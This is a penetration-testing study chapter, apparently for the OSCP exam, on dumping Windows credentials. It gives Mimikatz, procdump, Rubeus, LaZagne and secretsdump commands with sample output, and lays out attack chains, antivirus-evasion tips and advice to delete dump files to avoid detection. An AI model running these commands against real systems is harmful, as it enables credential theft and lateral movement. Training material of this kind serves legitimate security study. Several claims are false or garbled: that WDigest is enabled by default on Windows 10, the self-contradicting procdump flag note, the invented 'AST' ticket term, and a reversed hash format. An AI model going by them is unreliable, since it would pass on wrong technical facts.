11. Windows Credential Dumping
11.1 Overview
Windows credential dumping is one of the most critical post-exploitation techniques in penetration testing and the OSCP exam. When you gain access to a Windows machine — whether through a reverse shell, exploit, or valid login — the goldmine of credentials stored in various locations can be your ticket to lateral movement, privilege escalation, and domain compromise.
Why Windows stores credentials everywhere:
- Windows is designed for convenience, not security by default.
- Many subsystems cache credentials to enable seamless user experiences.
- Services, scheduled tasks, and applications often store credentials for automation.
- Domain-joined machines store Kerberos tickets, NTLM hashes, and domain credentials.
The four main credential stores you must master:
| Store | What It Holds | Privilege Needed | Key Tool |
|---|---|---|---|
| LSASS Memory | Plaintext passwords, NTLM hashes, Kerberos tickets | Administrator | Mimikatz, Procdump |
| SAM Database | Local account NTLM hashes | SYSTEM | Mimikatz, PWDump, secretsdump.py |
| DPAPI | Browser passwords, app secrets, RDP creds | User context | Mimikatz, LaZagne |
| Other Sources | WiFi, CredMgr, Registry, unattend.xml | Varies | Mixed |
11.2 LSASS Memory Extraction
What is LSASS?
LSASS (Local Security Authority Subsystem Service) is the core Windows process responsible for enforcing the security policy on the system. It runs as lsass.exe and performs several critical functions:
- Authentication — Verifies user credentials during logon.
- Token Creation — Generates access tokens for authenticated users.
- Policy Enforcement — Enforces password policies and security settings.
- Credential Caching — Stores credentials in memory for various purposes.
Why LSASS Stores Credentials
LSASS doesn’t store credentials by design — it stores them as a side effect of its authentication duties:
- Plaintext passwords — Cached by certain authentication packages (especially WDigest).
- NTLM hashes — Kept in memory for authentication operations.
- Kerberos tickets — TGTs and service tickets stored for the current session.
- DPAPI master keys — Decrypted in memory for application use.
The credentials remain in LSASS memory until the user logs off or the system reboots. This is what makes LSASS the single most valuable target for credential dumping.
What Mimikatz Can Extract from LSASS
| Credential Type | Format | Use Case |
|---|---|---|
| Plaintext password | password123 |
Direct login, pass-the-hash, lateral movement |
| NTLM hash | aad3b435b51404eeaad3b435b51404ee |
Pass-the-hash attacks |
| Kerberos TGT | Kirbi/KRB-CRED format | Ticket-based attacks, pass-the-ticket |
| Kerberos service ticket | Kirbi format | Access specific services |
| NTLMv2 response | Challenge-response | Relay attacks |
Protection Mechanisms
Modern Windows defenses make LSASS extraction harder. You need to know how to detect and potentially bypass them.
1. Credential Guard
What it does: Uses Virtualization-Based Security (VBS) to isolate LSASS in a separate, protected memory space called the “Secure World.” Even if you gain SYSTEM access, you cannot read LSASS memory because it literally exists in a different virtualized environment.
Detection:
# Check if Credential Guard is enabled
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesRunning
# Or check registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags
# Value 2 or 3 means Credential Guard is active
Impact on OSCP: If Credential Guard is enabled, Mimikatz will fail to extract credentials from LSASS. You must pivot to alternative methods (SAM extraction, DPAPI, etc.).
2. LSA Protection (RunAsPPL)
What it does: Marks LSASS as a “Protected Process Light” (PPL). Only processes with a higher or equal protection level can open a handle to LSASS. This prevents even SYSTEM-level processes from dumping LSASS memory.
Detection:
# Check RunAsPPL registry value
reg query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL
# Value 1 or 2 means LSA Protection is active
Impact on OSCP: When RunAsPPL is enabled, Mimikatz will throw an “Access is denied” error when trying to open LSASS. The procdump approach may also fail.
3. WDigest Caching
What it does: When WDigest is enabled, Windows stores plaintext passwords in LSASS memory. When disabled, only hashes and Kerberos tickets are available.
Detection:
# Check WDigest status
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential
# Value 1 = enabled (plaintext available)
# Value 0 = disabled (no plaintext)
Note: On Windows 10 and Server 2016+, WDigest is enabled by default. On older systems, it may be disabled.
Mimikatz Commands — Deep Dive
Getting Debug Privileges
Before Mimikatz can access LSASS, it needs the SeDebugPrivilege:
mimikatz # privilege::debug
Privilege '20' OK.
If this fails, you likely don’t have Administrator privileges. Mimikatz must run as Administrator (or SYSTEM) to dump LSASS.
Extracting All Logon Passwords
mimikatz # sekurlsa::logonpasswords
This is the single most important Mimikatz command for the OSCP exam. Output example:
Authentication Id : 0 ; 50924321 (00000000:030c6791)
Session : Interactive from 2
User Name : jdoe
Domain : CORP
SID : S-1-5-21-1234567890-1234567890-1234567890-1001
msv :
[00000003] Primary
* Username : jdoe
* Domain : CORP
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : a87f3ad7a78399e86eebe1338339b217b4c776ed
kerberos :
* Username : jdoe
* Domain : CORP
* AES256/128 : 44295d7c659fbc78e3364e0e33c6678a86e5db0ea5e47ab32e4741d72ea07493
wdigest :
* Username : jdoe
* Domain : CORP
* Password : S3cur3P@ss!
tspkg :
* Username : jdoe
* Domain : CORP
* Password : S3cur3P@ss!
Understanding the output sections:
- msv — Contains NTLM hash, LM hash, and SHA1 hash.
- kerberos — Contains Kerberos encryption keys (AES, DES).
- wdigest — Contains plaintext password (if WDigest is enabled).
- tspkg — Terminal Services package, also contains plaintext (for RDP).
WDigest-Specific Extraction
mimikatz # sekurlsa::wdigest
This focuses only on WDigest credentials, which is where plaintext passwords live.
Kerberos Ticket Extraction
mimikatz # sekurlsa::kerberos
Shows Kerberos tickets and their encryption keys. Useful for understanding what tickets a user has.
Exporting Kerberos Tickets
mimikatz # sekurlsa::tickets /export
Exports all Kerberos tickets to .kirbi files in the current directory. These can be:
- Converted to
.ccacheformat for use with Impacket tools. - Used for pass-the-ticket attacks.
- Analyzed for Kerberoasting.
mimikatz # kerberos::list /export
Searching for Specific Passwords
mimikatz # sekurlsa::searchPasswords
Searches LSASS memory for any plaintext password strings. Useful when standard extraction misses something.
Full Credential Dump
mimikatz # sekurlsa::logonpasswords full
The full flag extracts everything including more detailed key information.
Enabling WDigest (Advanced)
If WDigest is disabled and you want plaintext passwords, you can try to enable it:
mimikatz # token::elevate
mimikatz # misc::cmd
cmd.exe # reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Warning: This requires a new logon to take effect. Existing sessions won’t have plaintext passwords cached.
Procdump + Mimikatz Combo
When direct LSASS access is blocked (e.g., by EDR/AV), the procdump technique creates a memory dump file that Mimikatz can then analyze:
# Step 1: Create memory dump of LSASS
procdump64.exe -ma lsass.exe lsass.dmp
# Step 2: Load the dump in Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
# Step 3: Extract credentials
mimikatz # sekurlsa::logonpasswords
Why this works: Procdump is a legitimate Microsoft Sysinternals tool, so it’s often whitelisted by AV/EDR. The dump file is just a regular file on disk, not an in-memory operation.
Procdump flags:
-ma— Full memory dump (includes all memory regions).-mais critical;-malone may miss credential data.
Rubeus — Kerberos Ticket Tool
Rubeus is a pure C# Kerberos tool, perfect for environments where you can’t easily deploy Mimikatz:
# List all Kerberos tickets in the current session
Rubeus.exe triage
# Dump tickets for a specific LUID
Rubeus.exe dump /luid:0x123456
# List tickets (like klist)
Rubeus.exe klist /luid:0x123456
# Golden ticket attack (requires KRBTGT hash)
Rubeus.exe golden /user:admin /rc4:<KRBTGT_NTLM> /domain:corp.local /id:500
# Silver ticket attack (requires service account hash)
Rubeus.exe silver /rc4:<HASH> /domain:corp.local /service:cifs /target:dc01.corp.local
# AST (Any Selected Ticket) injection
Rubeus.exe ptt /ticket:<base64_ticket>
Output of Rubeus.exe triage:
Id : 0
User : jdoe
Service : krbtgt/CORP.LOCAL
Lifetime : 10/15/2024 2:30:00 PM
Encryption : aes256-cts
LaZagne
LaZagne is a multi-application credential dumper written in Python. It extracts credentials from:
- Browsers (Chrome, Firefox, Edge, IE, Opera, Safari)
- Email clients (Thunderbird, Outlook)
- VPN clients
- SSH clients
- WiFi profiles
- And many more
# Extract all available credentials
lazagne.exe all
# Extract specific application credentials
lazagne.exe browsers
lazagne.exe wifi
lazagne.exe vpn
lazagne.exe ssh
SharpDump
SharpDump is a C# implementation of LSASS dumping — useful when you need a .NET-only tool:
# Dump LSASS to file
SharpDump.exe -o lsass.dmp
# Then analyze with Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
11.3 SAM Database Extraction
What is the SAM Database?
The SAM (Security Accounts Manager) database stores password hashes for local user accounts on a Windows machine. It does NOT store domain account hashes (those are in the domain controller’s NTDS.dit).
Key facts:
- Location:
%SYSTEMROOT%\System32\config\SAM(typicallyC:\Windows\System32\config\SAM) - Access: The file is always locked by the operating system while Windows is running.
- Privilege: You need SYSTEM level access to extract SAM data.
- Encryption: The SAM database is encrypted using a key derived from the SYSTEM registry hive.
Why You Need Both SAM and SYSTEM Hives
The SAM database is encrypted. To decrypt it, you need the boot key, which is stored across multiple registry values in the SYSTEM hive. This is why SAM extraction requires both hives:
| Hive | Path | Purpose |
|---|---|---|
| SAM | HKLM\SAM |
Contains encrypted password hashes |
| SYSTEM | HKLM\SYSTEM |
Contains the boot key for decryption |
Mimikatz SAM Extraction
Method 1: Direct Extraction (Running System)
# Elevate to SYSTEM token
mimikatz # token::elevate
# Extract SAM database
mimikatz # lsadump::sam
Output example:
SAM keys :
[00000001] Administrator
* Username : Administrator
* NTLM : 5835048ce94ad0564e29a924a03510ef
[00000002] Guest
* Username : Guest
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
[00000003] DefaultAccount
* Username : DefaultAccount
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
Method 2: From Registry Hives (Offline/Boot-from-USB)
When you can’t run Mimikatz on the target (e.g., you booted from a USB), you extract the hives manually:
# Save the registry hives to files
reg save HKLM\SAM SAM.hive
reg save HKLM\SYSTEM SYSTEM.hive
# Use Mimikatz with the extracted hives
mimikatz # lsadump::sam /sam:SAM.hive /system:SYSTEM.hive
Boot-from-USB approach:
- Boot the target machine from a Linux USB (Kali, etc.).
- Mount the Windows partition.
- Copy
C:\Windows\System32\config\SAMandC:\Windows\System32\config\SYSTEM. - Use Mimikatz on your attack machine to extract hashes.
PWDump
PWDump is a classic tool for extracting SAM hashes:
# Basic usage
pwdump.exe
# Output to file
pwdump.exe > hashes.txt
Output format:
Administrator:500:5835048ce94ad0564e29a924a03510ef:aad3b435b51404eeaad3b435b51404ee:::
jdoe:1001:8846f7eaee8fb117ad06bdd830b7586c:aad3b435b51404eeaad3b435b51404ee:::
Format: username:rid:ntlm_hash:lm_hash:::
Impacket secretsdump.py
The most versatile option, works both locally and remotely:
# Local extraction (requires admin access)
secretsdump.py LOCAL
# Remote extraction (requires admin share access)
secretsdump.py CORP/jdoe:'Password123'@192.168.1.100
# Using NTLM hash (pass-the-hash)
secretsdump.py -hashes :8846f7eaee8fb117ad06bdd830b7586c CORP/jdoe@192.168.1.100
# Extract to file
secretsdump.py LOCAL -o output.txt
What secretsdump.py extracts:
- Local SAM hashes.
- LSA secrets (stored passwords, DPAPI master keys).
- NTDS.dit hashes (if run against a domain controller).
11.4 DPAPI Secrets
What is DPAPI?
DPAPI (Data Protection API) is a Windows API that allows applications to easily encrypt and decrypt data without managing cryptographic keys directly. It’s used extensively by:
- Web browsers (Chrome, Edge, Firefox) for saved passwords.
- Email clients for stored credentials.
- VPN clients for connection profiles.
- RDP client for saved credentials.
- Many third-party applications.
How DPAPI Works
User Password
|
v
+------------------+
| Master Key | <-- Encrypted with user's logon password
| (on disk) |
+------------------+
|
v (decrypted in memory during logon)
+------------------+
| Protected Data | <-- Browser passwords, app secrets, etc.
| (encrypted with | Encrypted with the master key
| master key) |
+------------------+
Key insight: When a user is logged in, their DPAPI master key is decrypted and available in memory. This means if you can run code in the user’s context, you can decrypt DPAPI-protected data without knowing the user’s password.
Chrome/Edge Credential Extraction
Modern Chrome and Edge store passwords using DPAPI:
# Chrome
mimikatz # dpapi::chrome /in:C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
# Edge
mimikatz # dpapi::edge /in:C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
# Chrome (current user, no path needed if running in user context)
mimikatz # dpapi::chrome
Chrome Login Data location:
- Default profile:
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data - Other profiles:
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Profile N\Login Data
Firefox Credential Extraction
Firefox uses its own master password mechanism but still relies on DPAPI:
mimikatz # dpapi::firefox /in:C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\*.default\logins.json
Firefox credential files:
logins.json— Encrypted login data.key4.db— Key storage (DPAPI-encrypted).cert9.db— Certificate storage.
Master Key Decryption
When you need to decrypt a DPAPI master key offline (without the user logged in):
# Decrypt master key using known password
mimikatz # dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\key /password:password123
# Decrypt master key using current user context (user must be logged in)
mimikatz # dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\key /protect:current
# Use decrypted master key to decrypt protected data
mimikatz # dpapi::cred /in:protected_file /masterkey:<hex_master_key>
Master key locations:
C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\— User-specific master keys.C:\Windows\System32\Microsoft\Protect\S-1-5-18\— Machine-level master keys.
DPAPI on the OSCP Exam
DPAPI is frequently tested in these scenarios:
- Browser password extraction — Chrome/Edge saved passwords leading to web application access.
- RDP saved credentials — Extracting RDP passwords for lateral movement.
- Application secrets — VPN profiles, email client credentials.
11.5 Other Windows Credential Sources
Windows Credential Manager
Windows stores credentials in the Credential Manager vault:
# List stored credentials
cmdkey /list
# Extract with Mimikatz
mimikatz # token::elevate
mimikatz # vault::cred
mimikatz # vault::list
# Delete a credential (if needed)
cmdkey /delete:target_name
Types of credentials stored:
- Generic — Custom application credentials.
- Domain Password — Domain login credentials.
- Domain Certificate — Certificate-based authentication.
- Windows Live — Microsoft account credentials.
Browser Passwords
Beyond DPAPI, dedicated tools can extract browser passwords:
| Browser | Password Location | Extraction Tool |
|---|---|---|
| Chrome | User Data\Default\Login Data (SQLite) |
Mimikatz dpapi::chrome, LaZagne |
| Edge | User Data\Default\Login Data (SQLite) |
Mimikatz dpapi::edge, LaZagne |
| Firefox | Profiles\*.default\logins.json |
Mimikatz dpapi::firefox, LaZagne |
| Internet Explorer | Credential Manager | Mimikatz vault::cred |
| Opera | Opera Software\Opera Stable\Login Data |
LaZagne |
RDP Saved Credentials
When users save RDP credentials, they’re stored using DPAPI:
# Location
C:\Users\<user>\Documents\Default.rdp
C:\Users\<user>\AppData\Local\Microsoft\Remote Desktop Connection Manager\
# Extract with Mimikatz
mimikatz # dpapi::rdp /in:C:\Users\user\Documents\Default.rdp
# Or use LaZagne
lazagne.exe mstsc
WiFi Passwords
Saved WiFi profiles often contain plaintext passwords:
# List saved WiFi profiles
netsh wlan show profiles
# Show password for a specific profile
netsh wlan show profiles name="WiFi_Name" key=clear
# Show all WiFi passwords (requires admin)
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @if "%j" neq "" netsh wlan show profiles %j key=clear
The password appears under Key Content in the output.
Scheduled Tasks
Scheduled tasks may contain credentials in their configuration:
# List all scheduled tasks
schtasks /query /fo LIST /v
# Query specific task
schtasks /query /tn "Task Name" /fo LIST /v
# Look for tasks running with credentials
schtasks /query /fo LIST /v | findstr /i "Run"
What to look for:
- Tasks configured to “Run whether user is logged on or not” with stored passwords.
- Tasks running as SYSTEM or Administrator.
- Tasks with command lines containing credentials.
Registry Auto-Logon
Windows can be configured for automatic logon, storing credentials in the registry:
# Check auto-logon settings
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Key values to check:
# AutoAdminLogon — "1" means auto-logon is enabled
# DefaultUserName — Username for auto-logon
# DefaultPassword — Password for auto-logon (if stored)
# DefaultDomainName — Domain for auto-logon
Unattend.xml
Windows installation answer files may contain plaintext passwords:
# Common locations
C:\Windows\Panther\unattend.xml
C:\Windows\Panther\Unattend\unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
# Search for unattend files
dir /s /b C:\Windows\*.xml | findstr /i unattend
# Read and look for credentials
type C:\Windows\Panther\unattend.xml
Look for <Password> elements in the XML. These contain the local administrator password set during unattended installation.
VPN Profiles
VPN clients often store connection credentials:
# LaZagne VPN extraction
lazagne.exe vpn
# Common VPN credential locations
C:\Users\<user>\AppData\Roaming\OpenVPN\config\
C:\Program Files\StrongVPN\
Complete Credential Source Reference Table
| Source | Location | Extraction Method | Privilege Needed | OSCP Relevance |
|---|---|---|---|---|
| LSASS Memory | lsass.exe process |
Mimikatz sekurlsa::logonpasswords |
Administrator | Critical — #1 target |
| SAM Database | C:\Windows\System32\config\SAM |
Mimikatz lsadump::sam |
SYSTEM | Critical — local hashes |
| Credential Manager | Windows Vault | cmdkey /list, Mimikatz vault::cred |
User/Admin | High — stored creds |
| Chrome Passwords | AppData\Local\Google\Chrome\User Data\Default\Login Data |
Mimikatz dpapi::chrome |
User context | High — web app access |
| Edge Passwords | AppData\Local\Microsoft\Edge\User Data\Default\Login Data |
Mimikatz dpapi::edge |
User context | High — web app access |
| Firefox Passwords | AppData\Roaming\Mozilla\Firefox\Profiles\*.default\logins.json |
Mimikatz dpapi::firefox |
User context | Medium |
| RDP Credentials | Documents\Default.rdp, RDCMan configs |
Mimikatz dpapi::rdp, LaZagne |
User context | High — lateral movement |
| WiFi Passwords | NDIS profiles | netsh wlan show profiles name="X" key=clear |
Admin | Medium |
| Scheduled Tasks | Task Scheduler store | schtasks /query /fo LIST /v |
Admin | Medium |
| Registry Auto-Logon | HKLM\...\Winlogon |
reg query |
Admin | Medium |
| Unattend.xml | C:\Windows\Panther\ |
Manual read | Admin/READ | High — admin password |
| VPN Profiles | AppData, Program Files | LaZagne | User context | Medium |
| NTDS.dit | C:\Windows\NTDS\NTDS.dit |
Mimikatz lsadump::dcsync, secretsdump.py |
DC Admin | Critical — domain hashes |
11.6 Practical Attack Chains
Chain 1: User Shell → LSASS → Admin Access
# You have a user-level shell
# Step 1: Escalate to admin (if possible)
# Step 2: Run Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Find admin credentials in output
# Step 3: Use credentials for lateral movement
psexec.py CORP/administrator:'Password123'@192.168.1.50
Chain 2: SYSTEM Shell → SAM → Local Admin Hash
# You have SYSTEM access
# Step 1: Extract SAM
mimikatz # lsadump::sam
# Step 2: Get NTLM hash of local admin
# Step 3: Pass-the-hash
sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:5835048ce94ad0564e29a924a03510ef
Chain 3: User Context → Chrome Passwords → Web App → Admin
# You have user-level access
# Step 1: Extract Chrome passwords
mimikatz # dpapi::chrome
# Step 2: Find credentials for internal web apps
# Step 3: Login to web app with extracted credentials
# Step 4: Exploit web app for admin access
Chain 4: Procdump Bypass → LSASS Dump → Mimikatz
# AV is blocking Mimikatz direct LSASS access
# Step 1: Use procdump (whitelisted tool)
procdump64.exe -ma lsass.exe lsass.dmp
# Step 2: Load dump in Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Step 3: Clean up
del lsass.dmp
11.7 OSCP Exam Tips
Critical Commands to Memorize
These are the commands you must know by heart for the exam:
# The golden Mimikatz sequence
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# SAM extraction
mimikatz # token::elevate
mimikatz # lsadump::sam
# Procdump fallback
procdump64.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Common Exam Scenarios
-
Windows box with admin shell → Run Mimikatz immediately. Check
sekurlsa::logonpasswordsfirst, thenlsadump::sam. -
Windows box with user shell → Try to escalate to admin first. If stuck, check DPAPI (browser passwords), Credential Manager, and unattend.xml.
-
Domain environment → After getting any domain user’s credentials via LSASS, check if they have access to other systems. Use
sekurlsa::tickets /exportfor Kerberos attacks. -
Mimikatz blocked by AV → Use procdump + Mimikatz combo. Or try LaZagne for browser/app credentials.
-
No admin, no SYSTEM → Focus on DPAPI, browser passwords, WiFi passwords, and unattend.xml. These often don’t require elevated privileges.
Quick Decision Tree
Got Windows access?
├── Have Administrator?
│ ├── Run Mimikatz: privilege::debug → sekurlsa::logonpasswords
│ ├── If blocked: procdump64.exe -ma lsass.exe lsass.dmp → Mimikatz minidump
│ └── Also try: lsadump::sam for local hashes
├── Have SYSTEM?
│ ├── lsadump::sam (local hashes)
│ ├── Check unattend.xml
│ └── Check registry auto-logon
└── User-level only?
├── dpapi::chrome / dpapi::edge (browser passwords)
├── cmdkey /list (Credential Manager)
├── netsh wlan show profiles (WiFi passwords)
├── Check unattend.xml (may be readable)
└── LaZagne all (multi-app extraction)
Important Notes
- Always check all credential sources. Don’t stop at the first successful extraction. A user’s Chrome password might give you access to a web app that leads to admin credentials.
- Look for other logged-in users.
sekurlsa::logonpasswordsshows credentials for ALL users currently logged in, not just your user. - Kerberos tickets are gold. In domain environments, exported tickets can be used for pass-the-ticket attacks.
- Clean up. Delete dump files and temporary files after extraction to avoid detection.
- Mimikatz is signed. The official GitHub release has a valid signature, but many AV solutions still flag it. Have multiple delivery methods ready.
- When in doubt, try everything. The OSCP exam rewards thoroughness. Extract LSASS, SAM, DPAPI, check Credential Manager, look at unattend.xml — cover all bases.
11.8 Summary
Windows credential dumping is a cornerstone of Windows post-exploitation. Master these techniques:
| Technique | When to Use | Key Command |
|---|---|---|
| LSASS extraction | Admin access, credentials in memory | sekurlsa::logonpasswords |
| SAM extraction | SYSTEM access, local hashes needed | lsadump::sam |
| DPAPI extraction | User context, browser/app secrets | dpapi::chrome |
| Procdump fallback | AV blocking direct LSASS access | procdump64.exe -ma lsass.exe |
| Rubeus | Kerberos-focused attacks | Rubeus.exe triage |
| LaZagne | Multi-app credential sweep | lazagne.exe all |
| Unattend.xml | Default admin passwords | Manual file read |
| Credential Manager | Stored Windows credentials | cmdkey /list |
The most common OSCP exam path: Get admin → Mimikatz → LSASS → plaintext/hash → lateral movement → domain compromise. Know this chain cold.